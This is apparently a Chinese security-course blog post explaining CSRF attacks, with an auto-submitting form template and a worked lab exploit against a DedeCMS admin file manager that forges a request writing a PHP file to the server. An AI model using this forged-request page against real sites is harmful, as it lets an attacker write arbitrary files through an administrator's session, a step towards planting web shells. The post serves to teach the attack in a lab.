CSRF跨站请求伪造

CSRF介绍:
CSRF中文名称:跨站请求伪造,是一种“ 挟持用户”在当前已登陆的Web应用程序上执行“ 非本意操作”的攻击方法。

一、CSRF回放攻击流程
套用老师所给的一张攻击原理图


从这张流程图里我们总结一下CSRF攻击生效所需要的两个必要条件
1.被攻击者 成功登陆信任站点A,并在 本地生成cookie
2.用户使用 同一浏览器不退出的情况下,访问带有CSRF代码的网站B

二、原理介绍
首先说明一点,我们并没有挟持用户,CSRF是 挟持用户浏览器发送请求
1.某些html标签是可以发送HTTP GET类型的请求的。
例如 <img>    <img src="http://www.baidu.com"/>
这就是一个简单的向通过当前页面标签实现向百度发送http_get的请求
浏览器渲染Img标签的时候,并不知道img标签中的SRC属性的值到底是不是一个图片,浏览器需要做的就是根据src里面的链接,发送一个http get请求,并且 带上当前浏览器在目标网站上的凭证,也就是cookie,返回结果以图片形式渲染
根据这个特性,可以挟持用户的浏览器携带用户的cookie发送任意请求

三、常见的CSRF漏洞分类
1.通过GET方式向服务器提交请求
2.通过POST方式提交请求
具体模板:
<form name='chao' action=" https://blog.csdn.net/sdb5858874" method="post" enctype="multipart/form-data">
    <input type="hidden" name="user" value="chao">
    <input type="hidden" name="password" value="123456789">
</form>
<script>document.chao.submit();</script>

举一个例子:
假设我是一个网站的后台管理员
我登陆之后,我的后台这里有一个上传功能
大家看一下这个文件上传页面,现在我们作为haker伪造一个CSRF攻击的页面
首先我们先随便上传一个文件,然后抓一下他的数据包
现在我们看到的这个数据包就是一个正常的,在服务器上创建文件的请求包
我们只需要将画红线的部分做成一个表单,
1.红线标注的第一个部分标注了我们要往哪个Ip下的哪个文件里提交数据(这部分要数写到 form表单的action中)
2.向服务器传送了我们创建文件的必要信息(这部分我们要作为表单数据,通过post的方式提交上去)
代码如下

<!DOCTYPE html>
<html>
<head>
    <title>chao</title>
</head>
<body>
<form name='chao' action="http
://192.168.3.84/DedeCMS-V5.7-UTF8-SP1/uploads/dede/file_manage_control.php" method="post">
    <input type="hidden" name="fmdo" value="edit">
    <input type="hidden" name="activepath" value="/DedeCMS-V5.7-UTF8-SP1/uploads/uploads">
    <input type="hidden" name="filename" value="wangchao.php">
    <input type="hidden" name="str" value="<?php phpinfo(); ?>">

</form>
<script>document.chao.submit();</script>
</body>
</html>


然后我作为后台管理员不慎点开了haker发给我的带有CSRF的网站,结果如下
wangchao.php这个文件就已经保存在服务器上了


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值